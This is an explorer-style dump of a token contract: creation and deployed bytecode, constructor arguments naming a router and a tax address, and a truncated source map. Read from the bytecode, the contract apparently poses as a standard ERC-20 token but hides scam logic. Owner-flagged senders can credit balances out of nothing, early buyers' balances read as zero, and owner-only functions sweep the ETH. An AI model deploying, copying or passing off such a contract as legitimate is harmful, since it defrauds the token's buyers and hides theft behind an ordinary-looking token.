5af1925050503d8060008114611158576040519150601f19603f3d011682016040523d82523d6000602084013e61115d565b606091505b50505050565b6005546001600160a01b0316331461118d5760405162461bcd60e51b815260040161068190611bd2565b600a805460ff19169055565b6001600160a01b0383166111fb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610681565b6001600160a01b03821661125c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610681565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112e35760405162461bcd60e51b815260040161068190611cea565b6001600160a01b0382166113095760405162461bcd60e51b815260040161068190611d2f565b600081116113595760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610681565b6000600c5411801561138357506001600160a01b0383166000908152600d602052604090205460ff165b156113975761139282826115c0565b505050565b6000600c541180156113c257506001600160a01b0383166000908152600d602052604090205460ff16155b80156113e757506001600160a01b0382166000908152600d602052604090205460ff16155b156115b557600a5460ff161561145b57601461140260025490565b61140c9190611cc8565b81111561145b5760405162461bcd60e51b815260206004820152601760248201527f5472616e73666572206c696d69742065786365656465640000000000000000006044820152606401610681565b6008546000908190819060ff16801561147e5750600654600160a01b900460ff16155b156114af576006805460ff60a01b1916600160a01b1790556114a1868686611617565b6006805460ff60a01b191690555b6001600160a01b0385166000908152600e602052604090205460ff1680156114d75750600082115b156114f95760646114e88386611d72565b6114f29190611cc8565b9250611594565b60008111801561152157506001600160a01b0386166000908152600e602052604090205460ff165b1561159457603c600c54426115369190611cb5565b1115801561155a57506001600160a01b0385166000908152600b6020526040902054155b1561157b576001600160a01b0385166000908152600b602052604090204290555b60646115878286611d72565b6115919190611cc8565b92505b82156115a5576115a58630856118c6565b6115af8385611cb5565b93505050505b6113928383836118c6565b6001600160a01b0382166115e65760405162461bcd60e51b815260040161068190611d2f565b6001600160a01b0382166000908152602081905260408120805483929061160e908490611ca2565b90915550505050565b60008060006116268383611ca2565b11156117c057600061163730610bbd565b6040805160028082526060820183529293506000929091602083019080368337019050509050308160008151811061167157611671611d89565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117139190611c07565b8160018151811061172657611726611d89565b6001600160a01b03928316602091820292909201015260405163791ac94760e01b81527f00000000000000000000000000000000000000000000000000000000000000009091169063791ac9479061178b908590600090869030904290600401611d9f565b600060405180830381600087803b1580156117a557600080fd5b505af11580156117b9573d6000803e3d6000fd5b5050505050505b6040516bffffffffffffffffffffffff19606087811b8216602084015286901b1660348201526000906001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001690479060480160408051601f198184030181529082905261183391611e10565b60006040518083038185875af1925050503d8060008114611870576040519150601f19603f3d011682016040523d82523d6000602084013e611875565b606091505b505080915050806118be5760405162461bcd60e51b815260206004820152601360248201527211551208151c985b9cd9995c8819985a5b1959606a1b6044820152606401610681565b505050505050565b6001600160a01b0383166118ec5760405162461bcd60e51b815260040161068190611cea565b6001600160a01b0382166119125760405162461bcd60e51b815260040161068190611d2f565b6001600160a01b0383166000908152602081905260409020548181101561198a5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610681565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906119c1908490611ca2565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a0d91815260200190565b60405180910390a350505050565b60005b83811015611a36578181015183820152602001611a1e565b50506000910152565b6020815260008251806020840152611a5e816040850160208701611a1b565b601f01601f19169190910160400192915050565b6001600160a01b0381168114611a8757600080fd5b50565b60008060408385031215611a9d57600080fd5b8235611aa881611a72565b946020939093013593505050565b80358015158114611ac657600080fd5b919050565b600060208284031215611add57600080fd5b611ae682611ab6565b9392505050565b600060208284031215611aff57600080fd5b8135611ae681611a72565b600060208284031215611b1c57600080fd5b5035919050565b600080600060608486031215611b3857600080fd5b8335611b4381611a72565b92506020840135611b5381611a72565b929592945050506040919091013590565b60008060408385031215611b7757600080fd5b8235611b8281611a72565b9150611b9060208401611ab6565b90509250929050565b60008060408385031215611bac57600080fd5b8235611bb781611a72565b91506020830135611bc781611a72565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611c1957600080fd5b8151611ae681611a72565b600080600060608486031215611c3957600080fd5b8351925060208401519150604084015190509250925092565b600181811c90821680611c6657607f821691505b602082108103611c8657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156109e5576109e5611c8c565b818103818111156109e5576109e5611c8c565b600082611ce557634e487b7160e01b600052601260045260246000fd5b500490565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b80820281158282048414176109e5576109e5611c8c565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611def5784516001600160a01b031683529383019391830191600101611dca565b50506001600160a01b03969096166060850152505050608001529392505050565b60008251611e22818460208701611a1b565b919091019291505056fea26469706673582212205781e7410d9aceef529f4e10c2d1f887b664c7ae3261558a7471138585b52e7b64736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000002df86e47757aee6c455a363098d2cabc927da8a4

Deployed Bytecode

0x6080604052600436106102085760003560e01c806370a0823111610118578063b7bda68f116100a0578063e2f456051161006f578063e2f45605146105c7578063f2fde38b146105dd578063f5648a4f146105fd578063f928364c14610612578063fe33b3021461062757600080fd5b8063b7bda68f1461050d578063c024666814610541578063d257b34f14610561578063dd62ed3e1461058157600080fd5b80638da5cb5b116100e75780638da5cb5b14610484578063958f9735146104a257806395d89b41146104b8578063a457c2d7146104cd578063a9059cbb146104ed57600080fd5b806370a0823114610415578063715018a614610435578063860aefcf1461044a57806386a22eff1461046457600080fd5b80631ffb53f61161019b578063395093511161016a57806339509351146103a557806349bd5a5e146103c55780635031595f146103e5578063685fc5681461021e5780636ddd1713146103fb57600080fd5b80631ffb53f61461033457806323b872dd146103545780632b112e4914610374578063313ce5671461038957600080fd5b8063095ea7b3116101d7578063095ea7b3146102af57806314f89c98146102df57806318160ddd146102ff5780631b6c710c1461031457600080fd5b806301339c21146102145780630644e7571461021e57806306fdde03146102415780630758d9241461026357600080fd5b3661020f57005b600080fd5b61021c610657565b005b34801561022a57600080fd5b5060005b6040519081526020015b60405180910390f35b34801561024d57600080fd5b50610256610942565b6040516102389190611a3f565b34801561026f57600080fd5b506102977f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610238565b3480156102bb57600080fd5b506102cf6102ca366004611a8a565b6109d4565b6040519015158152602001610238565b3480156102eb57600080fd5b5061021c6102fa366004611acb565b6109eb565b34801561030b57600080fd5b5060025461022e565b34801561032057600080fd5b5061021c61032f366004611aed565b610a28565b34801561034057600080fd5b5061021c61034f366004611b0a565b610a6c565b34801561036057600080fd5b506102cf61036f366004611b23565b610a9b565b34801561038057600080fd5b5061022e610b4e565b34801561039557600080fd5b5060405160098152602001610238565b3480156103b157600080fd5b506102cf6103c0366004611a8a565b610b81565b3480156103d157600080fd5b50600654610297906001600160a01b031681565b3480156103f157600080fd5b5061022e600c5481565b34801561040757600080fd5b506008546102cf9060ff1681565b34801561042157600080fd5b5061022e610430366004611aed565b610bbd565b34801561044157600080fd5b5061021c610c2d565b34801561045657600080fd5b50600a546102cf9060ff1681565b34801561047057600080fd5b5061021c61047f366004611b64565b610ca1565b34801561049057600080fd5b506005546001600160a01b0316610297565b3480156104ae57600080fd5b5061022e60095481565b3480156104c457600080fd5b50610256610d90565b3480156104d957600080fd5b506102cf6104e8366004611a8a565b610d9f565b3480156104f957600080fd5b506102cf610508366004611a8a565b610e38565b34801561051957600080fd5b506102977f0000000000000000000000002df86e47757aee6c455a363098d2cabc927da8a481565b34801561054d57600080fd5b5061021c61055c366004611b64565b610e45565b34801561056d57600080fd5b5061021c61057c366004611b0a565b610ece565b34801561058d57600080fd5b5061022e61059c366004611b99565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156105d357600080fd5b5061022e60075481565b3480156105e957600080fd5b5061021c6105f8366004611aed565b611001565b34801561060957600080fd5b5061021c6110ec565b34801561061e57600080fd5b5061021c611163565b34801561063357600080fd5b506102cf610642366004611aed565b600e6020526000908152604090205460ff1681565b6005546001600160a01b0316331461068a5760405162461bcd60e51b815260040161068190611bd2565b60405180910390fd5b600c541561069757600080fd5b600a805460ff191690556040805163c45a015560e01b815290516001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169163c45a01559160048083019260209291908290030181865afa158015610706573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072a9190611c07565b6001600160a01b031663c9c653967f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610796573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ba9190611c07565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af1158015610806573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082a9190611c07565b600680546001600160a01b0319166001600160a01b039283169081179091556000908152600e60205260409020805460ff191660011790557f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d1663f305d719473061089481610bbd565b6040516001600160e01b031960e086901b1681526001600160a01b039092166004830152602482015260006044820181905260648201523360848201524260a482015260c40160606040518083038185885af11580156108f8573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061091d9190611c24565b505050600c5460001461092f57600080fd5b42600c55600a805460ff19166001179055565b60606003805461095190611c52565b80601f016020809104026020016040519081016040528092919081815260200182805461097d90611c52565b80156109ca5780601f1061099f576101008083540402835291602001916109ca565b820191906000526020600020905b8154815290600101906020018083116109ad57829003601f168201915b5050505050905090565b60006109e1338484611199565b5060015b92915050565b6005546001600160a01b03163314610a155760405162461bcd60e51b815260040161068190611bd2565b6008805460ff1916911515919091179055565b6005546001600160a01b03163314610a525760405162461bcd60e51b815260040161068190611bd2565b6001600160a01b03166000908152600b6020526040812055565b6005546001600160a01b03163314610a965760405162461bcd60e51b815260040161068190611bd2565b600955565b6000610aa88484846112bd565b6001600160a01b03841660009081526001602090815260408083203384529091529020546000198114610b435782811015610b365760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610681565b610b438533858403611199565b506001949350505050565b6000610b5a6000610bbd565b610b6561dead610bbd565b610b6f9190611ca2565b600254610b7c9190611cb5565b905090565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916109e1918590610bb8908690611ca2565b611199565b6001600160a01b0381166000908152600b602052604081205415801590610c0457506001600160a01b0382166000908152600b6020526040812054610c029042611cb5565b115b15610c1157506000919050565b506001600160a01b031660009081526020819052604090205490565b6005546001600160a01b03163314610c575760405162461bcd60e51b815260040161068190611bd2565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b03163314610ccb5760405162461bcd60e51b815260040161068190611bd2565b6006546001600160a01b0390811690831603610d3c5760405162461bcd60e51b815260206004820152602a60248201527f546865206d61696e20706169722063616e6e6f742062652072656d6f7665642060448201526966726f6d20706169727360b01b6064820152608401610681565b6001600160a01b0382166000818152600e6020526040808220805460ff191685151590811790915590519092917ff40a563af144a84735f7f6c7c3029794b0ac17713e5f048d3fd00ed85aa4ca7a91a35050565b60606004805461095190611c52565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610e215760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610681565b610e2e3385858403611199565b5060019392505050565b60006109e13384846112bd565b6005546001600160a01b03163314610e6f5760405162461bcd60e51b815260040161068190611bd2565b6001600160a01b0382166000818152600d6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b03163314610ef85760405162461bcd60e51b815260040161068190611bd2565b620186a0610f04610b4e565b610f0e9190611cc8565b811015610f7b5760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610681565b6103e8610f86610b4e565b610f909190611cc8565b811115610ffc5760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171892903a37ba30b61039bab838363c9760611b6064820152608401610681565b600755565b6005546001600160a01b0316331461102b5760405162461bcd60e51b815260040161068190611bd2565b6001600160a01b0381166110905760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610681565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146111165760405162461bcd60e51b815260040161068190611bd2565b604051600090339047908381818185875af1925050503d8060008114611158576040519150601f19603f3d011682016040523d82523d6000602084013e61115d565b606091505b50505050565b6005546001600160a01b0316331461118d5760405162461bcd60e51b815260040161068190611bd2565b600a805460ff19169055565b6001600160a01b0383166111fb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610681565b6001600160a01b03821661125c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610681565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112e35760405162461bcd60e51b815260040161068190611cea565b6001600160a01b0382166113095760405162461bcd60e51b815260040161068190611d2f565b600081116113595760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610681565b6000600c5411801561138357506001600160a01b0383166000908152600d602052604090205460ff165b156113975761139282826115c0565b505050565b6000600c541180156113c257506001600160a01b0383166000908152600d602052604090205460ff16155b80156113e757506001600160a01b0382166000908152600d602052604090205460ff16155b156115b557600a5460ff161561145b57601461140260025490565b61140c9190611cc8565b81111561145b5760405162461bcd60e51b815260206004820152601760248201527f5472616e73666572206c696d69742065786365656465640000000000000000006044820152606401610681565b6008546000908190819060ff16801561147e5750600654600160a01b900460ff16155b156114af576006805460ff60a01b1916600160a01b1790556114a1868686611617565b6006805460ff60a01b191690555b6001600160a01b0385166000908152600e602052604090205460ff1680156114d75750600082115b156114f95760646114e88386611d72565b6114f29190611cc8565b9250611594565b60008111801561152157506001600160a01b0386166000908152600e602052604090205460ff165b1561159457603c600c54426115369190611cb5565b1115801561155a57506001600160a01b0385166000908152600b6020526040902054155b1561157b576001600160a01b0385166000908152600b602052604090204290555b60646115878286611d72565b6115919190611cc8565b92505b82156115a5576115a58630856118c6565b6115af8385611cb5565b93505050505b6113928383836118c6565b6001600160a01b0382166115e65760405162461bcd60e51b815260040161068190611d2f565b6001600160a01b0382166000908152602081905260408120805483929061160e908490611ca2565b90915550505050565b60008060006116268383611ca2565b11156117c057600061163730610bbd565b6040805160028082526060820183529293506000929091602083019080368337019050509050308160008151811061167157611671611d89565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117139190611c07565b8160018151811061172657611726611d89565b6001600160a01b03928316602091820292909201015260405163791ac94760e01b81527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d9091169063791ac9479061178b908590600090869030904290600401611d9f565b600060405180830381600087803b1580156117a557600080fd5b505af11580156117b9573d6000803e3d6000fd5b5050505050505b6040516bffffffffffffffffffffffff19606087811b8216602084015286901b1660348201526000906001600160a01b037f0000000000000000000000002df86e47757aee6c455a363098d2cabc927da8a41690479060480160408051601f198184030181529082905261183391611e10565b60006040518083038185875af1925050503d8060008114611870576040519150601f19603f3d011682016040523d82523d6000602084013e611875565b606091505b505080915050806118be5760405162461bcd60e51b815260206004820152601360248201527211551208151c985b9cd9995c8819985a5b1959606a1b6044820152606401610681565b505050505050565b6001600160a01b0383166118ec5760405162461bcd60e51b815260040161068190611cea565b6001600160a01b0382166119125760405162461bcd60e51b815260040161068190611d2f565b6001600160a01b0383166000908152602081905260409020548181101561198a5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610681565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906119c1908490611ca2565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a0d91815260200190565b60405180910390a350505050565b60005b83811015611a36578181015183820152602001611a1e565b50506000910152565b6020815260008251806020840152611a5e816040850160208701611a1b565b601f01601f19169190910160400192915050565b6001600160a01b0381168114611a8757600080fd5b50565b60008060408385031215611a9d57600080fd5b8235611aa881611a72565b946020939093013593505050565b80358015158114611ac657600080fd5b919050565b600060208284031215611add57600080fd5b611ae682611ab6565b9392505050565b600060208284031215611aff57600080fd5b8135611ae681611a72565b600060208284031215611b1c57600080fd5b5035919050565b600080600060608486031215611b3857600080fd5b8335611b4381611a72565b92506020840135611b5381611a72565b929592945050506040919091013590565b60008060408385031215611b7757600080fd5b8235611b8281611a72565b9150611b9060208401611ab6565b90509250929050565b60008060408385031215611bac57600080fd5b8235611bb781611a72565b91506020830135611bc781611a72565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611c1957600080fd5b8151611ae681611a72565b600080600060608486031215611c3957600080fd5b8351925060208401519150604084015190509250925092565b600181811c90821680611c6657607f821691505b602082108103611c8657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156109e5576109e5611c8c565b818103818111156109e5576109e5611c8c565b600082611ce557634e487b7160e01b600052601260045260246000fd5b500490565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b80820281158282048414176109e5576109e5611c8c565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611def5784516001600160a01b031683529383019391830191600101611dca565b50506001600160a01b03969096166060850152505050608001529392505050565b60008251611e22818460208701611a1b565b919091019291505056fea26469706673582212205781e7410d9aceef529f4e10c2d1f887b664c7ae3261558a7471138585b52e7b64736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000002df86e47757aee6c455a363098d2cabc927da8a4

-----Decoded View---------------
Arg [0] : routerAddress (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : _taxAddress (address): 0x2dF86e47757Aee6C455a363098d2CAbC927dA8A4

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 0000000000000000000000002df86e47757aee6c455a363098d2cabc927da8a4


Deployed Bytecode Sourcemap

10769:6314:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15828:526;;;:::i;:::-;;12834:79;;;;;;;;;;-1:-1:-1;12877:7:0;12834:79;;;160:25:1;;;148:2;133:18;12834:79:0;;;;;;;;4130:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;10814:37::-;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;1034:32:1;;;1016:51;;1004:2;989:18;10814:37:0;852:221:1;5185:210:0;;;;;;;;;;-1:-1:-1;5185:210:0;;;;;:::i;:::-;;:::i;:::-;;;1699:14:1;;1692:22;1674:41;;1662:2;1647:18;5185:210:0;1534:187:1;12314:86:0;;;;;;;;;;-1:-1:-1;12314:86:0;;;;;:::i;:::-;;:::i;4451:108::-;;;;;;;;;;-1:-1:-1;4539:12:0;;4451:108;;16362:99;;;;;;;;;;-1:-1:-1;16362:99:0;;;;;:::i;:::-;;:::i;12638:100::-;;;;;;;;;;-1:-1:-1;12638:100:0;;;;;:::i;:::-;;:::i;5403:620::-;;;;;;;;;;-1:-1:-1;5403:620:0;;;;;:::i;:::-;;:::i;16556:156::-;;;;;;;;;;;;;:::i;12222:84::-;;;;;;;;;;-1:-1:-1;12222:84:0;;12297:1;3116:36:1;;3104:2;3089:18;12222:84:0;2974:184:1;6031:297:0;;;;;;;;;;-1:-1:-1;6031:297:0;;;;;:::i;:::-;;:::i;10858:28::-;;;;;;;;;;-1:-1:-1;10858:28:0;;;;-1:-1:-1;;;;;10858:28:0;;;11254:32;;;;;;;;;;;;;;;;11102:30;;;;;;;;;;-1:-1:-1;11102:30:0;;;;;;;;13111:207;;;;;;;;;;-1:-1:-1;13111:207:0;;;;;:::i;:::-;;:::i;8665:148::-;;;;;;;;;;;;;:::i;11176:25::-;;;;;;;;;;-1:-1:-1;11176:25:0;;;;;;;;12408:222;;;;;;;;;;-1:-1:-1;12408:222:0;;;;;:::i;:::-;;:::i;8451:79::-;;;;;;;;;;-1:-1:-1;8516:6:0;;-1:-1:-1;;;;;8516:6:0;8451:79;;11141:28;;;;;;;;;;;;;;;;4238:104;;;;;;;;;;;;;:::i;6336:482::-;;;;;;;;;;-1:-1:-1;6336:482:0;;;;;:::i;:::-;;:::i;4752:216::-;;;;;;;;;;-1:-1:-1;4752:216:0;;;;;:::i;:::-;;:::i;11058:35::-;;;;;;;;;;;;;;;12921:182;;;;;;;;;;-1:-1:-1;12921:182:0;;;;;:::i;:::-;;:::i;16720:360::-;;;;;;;;;;-1:-1:-1;16720:360:0;;;;;:::i;:::-;;:::i;4976:201::-;;;;;;;;;;-1:-1:-1;4976:201:0;;;;;:::i;:::-;-1:-1:-1;;;;;5142:18:0;;;5110:7;5142:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4976:201;11016:33;;;;;;;;;;;;;;;;8821:281;;;;;;;;;;-1:-1:-1;8821:281:0;;;;;:::i;:::-;;:::i;15659:161::-;;;;;;;;;;;;;:::i;16469:79::-;;;;;;;;;;;;;:::i;11354:37::-;;;;;;;;;;-1:-1:-1;11354:37:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;15828:526;8578:6;;-1:-1:-1;;;;;8578:6:0;262:10;8578:22;8570:67;;;;-1:-1:-1;;;8570:67:0;;;;;;;:::i;:::-;;;;;;;;;15892:17:::1;::::0;:22;15884:31:::1;;;::::0;::::1;;15928:6;:14:::0;;-1:-1:-1;;15928:14:0::1;::::0;;15983:19:::1;::::0;;-1:-1:-1;;;15983:19:0;;;;-1:-1:-1;;;;;15983:9:0::1;:17;::::0;::::1;::::0;:19:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;:17;:19:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;15971:43:0::1;;16015:9;-1:-1:-1::0;;;;;16015:14:0::1;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15971:76;::::0;-1:-1:-1;;;;;;15971:76:0::1;::::0;;;;;;-1:-1:-1;;;;;4931:15:1;;;15971:76:0::1;::::0;::::1;4913:34:1::0;16041:4:0::1;4963:18:1::0;;;4956:43;4848:18;;15971:76:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15955:13;:92:::0;;-1:-1:-1;;;;;;15955:92:0::1;-1:-1:-1::0;;;;;15955:92:0;;::::1;::::0;;::::1;::::0;;;-1:-1:-1;16058:20:0;;;:5:::1;:20;::::0;;;;:27;;-1:-1:-1;;16058:27:0::1;-1:-1:-1::0;16058:27:0::1;::::0;;16098:9:::1;:25;;16131:21;16162:4;16168:24;16162:4:::0;16168:9:::1;:24::i;:::-;16098:126;::::0;-1:-1:-1;;;;;;16098:126:0::1;::::0;;;;;;-1:-1:-1;;;;;5369:15:1;;;16098:126:0::1;::::0;::::1;5351:34:1::0;5401:18;;;5394:34;16193:1:0::1;5444:18:1::0;;;5437:34;;;5487:18;;;5480:34;16197:10:0::1;5530:19:1::0;;;5523:44;16208:15:0::1;5583:19:1::0;;;5576:35;5285:19;;16098:126:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;16253:17;;16274:1;16253:22;16245:31;;;::::0;::::1;;16307:15;16287:17;:35:::0;16333:6:::1;:13:::0;;-1:-1:-1;;16333:13:0::1;16342:4;16333:13;::::0;;15828:526::o;4130:100::-;4184:13;4217:5;4210:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4130:100;:::o;5185:210::-;5304:4;5326:39;262:10;5349:7;5358:6;5326:8;:39::i;:::-;-1:-1:-1;5383:4:0;5185:210;;;;;:::o;12314:86::-;8578:6;;-1:-1:-1;;;;;8578:6:0;262:10;8578:22;8570:67;;;;-1:-1:-1;;;8570:67:0;;;;;;;:::i;:::-;12373:11:::1;:19:::0;;-1:-1:-1;;12373:19:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12314:86::o;16362:99::-;8578:6;;-1:-1:-1;;;;;8578:6:0;262:10;8578:22;8570:67;;;;-1:-1:-1;;;8570:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;16432:17:0::1;16452:1;16432:17:::0;;;:8:::1;:17;::::0;;;;:21;16362:99::o;12638:100::-;8578:6;;-1:-1:-1;;;;;8578:6:0;262:10;8578:22;8570:67;;;;-1:-1:-1;;;8570:67:0;;;;;;;:::i;:::-;12711:9:::1;:19:::0;12638:100::o;5403:620::-;5543:4;5560:36;5570:6;5578:9;5589:6;5560:9;:36::i;:::-;-1:-1:-1;;;;;5636:19:0;;5609:24;5636:19;;;:11;:19;;;;;;;;262:10;5636:33;;;;;;;;-1:-1:-1;;5683:37:0;;5680:314;;5784:6;5764:16;:26;;5738:128;;;;-1:-1:-1;;;5738:128:0;;6520:2:1;5738:128:0;;;6502:21:1;6559:2;6539:18;;;6532:30;6598:34;6578:18;;;6571:62;-1:-1:-1;;;6649:18:1;;;6642:38;6697:19;;5738:128:0;6318:404:1;5738:128:0;5910:57;5919:6;262:10;5960:6;5941:16;:25;5910:8;:57::i;:::-;-1:-1:-1;6011:4:0;;5403:620;-1:-1:-1;;;;5403:620:0:o;16556:156::-;16609:7;16682:21;16700:1;16682:9;:21::i;:::-;16653:26;16671:6;16653:9;:26::i;:::-;:50;;;;:::i;:::-;4539:12;;16636:68;;;;:::i;:::-;16629:75;;16556:156;:::o;6031:297::-;262:10;6146:4;6240:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;6240:34:0;;;;;;;;;;6146:4;;6168:130;;6218:7;;6240:47;;6277:10;;6240:47;:::i;:::-;6168:8;:130::i;13111:207::-;-1:-1:-1;;;;;13200:17:0;;13177:7;13200:17;;;:8;:17;;;;;;:21;;;;:64;;-1:-1:-1;;;;;;13243:17:0;;13263:1;13243:17;;;:8;:17;;;;;;13225:35;;:15;:35;:::i;:::-;:39;13200:64;13197:77;;;-1:-1:-1;13273:1:0;;13111:207;-1:-1:-1;13111:207:0:o;13197:77::-;-1:-1:-1;;;;;;13292:18:0;:9;:18;;;;;;;;;;;;13111:207::o;8665:148::-;8578:6;;-1:-1:-1;;;;;8578:6:0;262:10;8578:22;8570:67;;;;-1:-1:-1;;;8570:67:0;;;;;;;:::i;:::-;8756:6:::1;::::0;8735:40:::1;::::0;8772:1:::1;::::0;-1:-1:-1;;;;;8756:6:0::1;::::0;8735:40:::1;::::0;8772:1;;8735:40:::1;8786